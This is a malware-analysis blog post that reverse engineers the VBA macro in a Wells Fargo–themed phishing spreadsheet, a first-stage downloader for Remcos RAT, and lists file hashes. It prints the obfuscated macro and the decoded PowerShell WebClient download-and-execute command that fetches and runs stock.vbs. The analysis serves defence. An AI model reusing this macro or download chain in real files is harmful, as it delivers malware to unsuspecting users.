2022-02-13 Breaking out the WD40! First Stage Downloader For Remcos RAT

Yeah, this picture sums it up very nicely for me… It has been a while since I have played with any malware or tried to RE a script of some sort. So here goes nothing…

Yes it's been a while...

Shout out to David Ledbetter for the assist. Solid work as usual!

This post will cover the downloader script from a Remcos maldoc that I was playing with from the beginning of the month. The email itself was your standard fare – a Wells Fargo phishing email that had an Excel XLSB attachment that was encrypted.


Column ‘C’ originally was hidden. Just unhide it.

The Excel XLSB can be found over at Any.Run or over at my Github here.

A special shoutout to @Ledtech3 for helping me dust myself off and getting back into this. The Twitter thread can be found over on Twitter here.

For the initial part of the investigation I needed to get the file “unlocked” since the silly thing was an encrypted spreadsheet. Forgetting that Didier Stevens’ oledump.py tool can read encrypted files when passed a password as an option, I used msoffcrypto-tool to create an unlocked version of the same file.

> msoffcrypto-tool -p WFACH21 C:\Users\bob\Desktop\samples\WFACH22_Payment_Advice.xlsb C:\Users\bob\Desktop\samples\decrypted.xlsb

Once I had the unlocked file, I proceeded to use oledump.py to start looking at the streams in this file.

PS C:\Users\bob > oledump.py C:\Users\bob\Desktop\samples\decrypted.xlsb
A: xl/vbaProject.bin
A1: 459 'PROJECT'
A2: 80 'PROJECTwm'
A3: M 2034 'VBA/MYZSq'
A4: m 991 'VBA/Sheet1'
A5: M 2530 'VBA/ThisWorkbook'
A7: 1871 'VBA/__SRP_0'
A8: 234 'VBA/__SRP_1'
A9: 852 'VBA/__SRP_2'
A10: 230 'VBA/__SRP_3'
A11: 214 'VBA/__SRP_4'
A12: 220 'VBA/__SRP_5'
A13: 563 'VBA/dir'

Only two macros seen in the output. I started with the larger of the two streams (A5).

PS C:\Users\bob > oledump.py C:\Users\bob\Desktop\samples\decrypted.xlsb -s A5 -v
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Activate()

Dim Laws, PzHPq, PzHPq2 As String

PzHPq = IGoWut(Range("C4").NoteText)
PzHPq2 = IGoWut(Range("C5").NoteText)
Laws = PzHPq & PzHPq2

mVNrvo (Laws)

End Sub

Function IGoWut(str)

Dim i As Integer, strLen As Integer
Dim newStr As String

strLen = Len(str)
newStr = ""

For i = 1 To strLen
newStr = newStr & Mid(str, strLen - (i - 1), 1)
Next i
IGoWut = newStr

End Function

So in this stream, there are a couple of variables that get declared as strings which are then promptly assigned values from the spreadsheet via “NoteText” values. Never seeing this nomenclature before, I did a quick Google for this and came across this link about it from Microsoft. This looks to be a programmatic way of adding a comment to a cell. Interesting. So now I know that there is something in cells C4 and C5 of the spreadsheet. These values are also passed to the function called “IGoWut”.

The following are what is in cells C4 and C5:

cc4 - hctaM::]xeger[((XEI;'' nioJ- 22ew$,fd4b$,3c$=CT$;'adFile('''',$env:temp+''\stock.vbs'')'=3c$ ;'bCl' + 'ient).Downlo'=fd4b$ ;'(New-Obje' + 'ct Net.We'=22ew$;
c5 - )'sbv.kcots\' +pmet:vne$(ssecorp-trats;)'' nioj- )}eulav._${ hcaEroF | )'tfeLoTthgiR','.',CT$(se;

Within the IGoWut function, a couple of things are performed to the data:

  1. The variable ‘i’ is set to 1 and strLen is set to the string’s length (i.e.: 184 for cell C4).
  2. The function “Mid” is being used. This is used for returning a specified number of characters from a string. The requirements for this function are: string,start,[,length – is optional].
  3. i gets incremented by 1 and the loop continues until the condition fails.

So the issue that I was having Saturday night was the fact that I was getting my maths wrong and for some reason and the logic was throwing me off. Once I took a break from it and came back to it (the next day) I was able to see the err of my ways. Anyways, I digress. Basically all that is happening within this function is the data from the cells are being re-constructed starting at the last character and going backwards. For example:

184-0,1 = ;
184-1,1 = w
184-2,1 = e
184-183,1 = h

These two are then assigned to the variable “Laws” which is then passed as an option in the function called “mVNrvo”. That must be in the other stream then. Time to check that one then.

PS C:\Users\bob > oledump.py C:\Users\bob\Desktop\samples\decrypted.xlsb -s A3 -v
Attribute VB_Name = "MYZSq"

Function mVNrvo(eeeew As String)

Dim KoNO() As Variant

ReDim KoNO(4)
KoNO(0) = Chr(80) + Range("C6").NoteText
KoNO(1) = "ping google.com;" + eeeew
KoNO(2) = ""
KoNO(3) = ""
KoNO(4) = 0

yYOB = CallByName(klsad(), Range("C8").NoteText, VbMethod, KoNO(0), KoNO(1), KoNO(2), KoNO(3), KoNO(4))

End Function

Function klsad() As Object
Set klsad = GetObject(Range("C7").NoteText)
End Function

Not a lot to this one from the looks of it. Basically the function mVNrvo gets passed an object from the other part of the macro that is a string (eeeew), which then is worked into what looks to be an array (KoNO) with some other data being assigned to the different parts of the array. Lastly, there is a variable (yYOB) that uses the “CallByName” function to help construct the data stream (for the lack of a better term). What this function does is executes a method of an object or sets/returns a property of an object. It also uses another function called “klsad” to return the value in cell C7. So my assumption is that this “data stream”, once complete, is going to execute some sort of method once it is put all together.

Before going any further, the following are what is in cells C6, C7, and C8:

c6 - owershell
c7 - new:13709620-C279-11CE-A49E-444553540000
c8 - ShellExecute

Once the “mVNrvo” function has completed and has built the data stream with the comments found in C6,C7, C8, and the other bits from the array above, what you end up getting is something like this (appended the data and indented for clarity/readability):

mVNrvo (Laws)
Function mVNrvo(eeeew As String)

Dim KoNO() As Variant

ReDim KoNO(4)
KoNO(0) = P + owershell
KoNO(1) = "ping google.com;" + hctaM::]xeger[((XEI;'' nioJ- 22ew$,fd4b$,3c$=CT$;'adFile('''',$env:temp+''\stock.vbs'')'=3c$ ;'bCl' + 'ient).Downlo'=fd4b$ ;'(New-Obje' + 'ct Net.We'=22ew$)'sbv.kcots\' +pmet:vne$(ssecorp-trats;)'' nioj- )}eulav._${ hcaEroF | )'tfeLoTthgiR','.',CT$(se
KoNO(2) = ""
KoNO(3) = ""
KoNO(4) = 0

yYOB = CallByName(klsad(), Range("C8").NoteText, VbMethod, KoNO(0), KoNO(1), KoNO(2), KoNO(3), KoNO(4))

- yYOB = CallByName(new:13709620-C279-11CE-A49E-444553540000(), ShellExecute, VbMethod, Powershell, "ping google.com;" + hctaM::]xeger[((XEI;'' nioJ- 22ew$,fd4b$,3c$=CT$;'adFile('''',$env:temp+''\stock.vbs'')'=3c$ ;'bCl' + 'ient).Downlo'=fd4b$ ;'(New-Obje' + 'ct Net.We'=22ew$)'sbv.kcots\' +pmet:vne$(ssecorp-trats;)'' nioj- )}eulav._${ hcaEroF | )'tfeLoTthgiR','.',CT$(se, "","", 0)

End Function

which when you clean it up and convert it to left to right you get the following:

CallByName(new:13709620-C279-11CE-A49E-444553540000(), ShellExecute, VbMethod, Powershell, "ping google.com;" +
IEX(([regex]::Match $TC=$we22,$b4df,$c3, -Join ''
$we22='(New-Obje' + 'ct Net.We';
$b4df='bCl' + 'ient).Downlo';
)0 ,"","" ,es($TC,'.',''RightToLeft') | ForEach {$_.value}) -join '');start-process($env:temp+ '\stock.vbs'

So a couple of things are going on with this that are pretty apparent.

  1. 1) We see that the “CallByName” function is executing on what looks to be a COM CLSID (13709620-C279-11CE-A49E-444553540000). A quick Google (i.e.: https://twitter.com/mrun1k0d3r/status/1053309943108042752) showed me that this is another way of calling a shell.
  2. There is the “ShellExecute”, “VbMethod”, and “Powershell” which help/aid in the running of a shell. From what I can tell, the “CallByName” function executes a new shell (via the ShellExecute VBMethod) which in turn starts Powershell.
  3. We can see the initial downloader for this script ( which looks to have a second stage script attached to it (which is verified when you look at the Any.Run link from above).
  4. The downloader downloads the script as “stock.vbs” and runs it from the %temp% environment variable.
  5. There is a method of RightToLeft being used as seen in the last line of “yYOB” using REGEX to write it out. Looking up more information on “RighttoLeft” lead me to also find out what the REGEX was about as well. A nice little write-up can be found here.

Anyways, that is it for now. For more information about how this Remcos infection works, take a look at the Any.Run sample, and also check out the Twitter thread where David goes down the rabbit hole.


File hashes
Remittance Advice Payment Date 2022.eml – 3AE79453D2A45E9288CE84DF0CA6AEF11B2C0E934FA15C0F0521FE213AF453DA
WFACH22_Payment_Advice.xlsb – 0CBABACC234F803EEDD3A7F60C25DB2B64240CBFE71C927F12D0BB2BAC4751E0 – https://www.virustotal.com/gui/file/0cbabacc234f803eedd3a7f60c25db2b64240cbfe71c927f12d0bb2bac4751e0

Machinae results
* Information for 0CBABACC234F803EEDD3A7F60C25DB2B64240CBFE71C927F12D0BB2BAC4751E0
* Observable type: hash.sha256 (Auto-detected: True)
Not seeing what you expect? Likely not a valid site. Try running with –list-sites

[+] VirusTotal File Report Results
[-] Date submitted: 2022-02-09 09:54:08
[-] Detected engines: 4
[-] Total engines: 59
[-] Scans: (‘Symantec’, ‘Trojan[.]Mdropper’)
[-] Scans: (‘GData’, ‘Generic[.]Trojan[.]Agent.R7KQ9W’)
[-] Scans: (‘Microsoft’, ‘Program:Win32/Uwamson.A!ml’)
[-] Scans: (‘Ikarus’, ‘Trojan-Downloader[.]Office[.]Crypt’)
[+] MetaDefender File Report Results
[-] Detected engines: 0
[-] Total engines: 1

Leave a Reply

Your email address will not be published. Required fields are marked *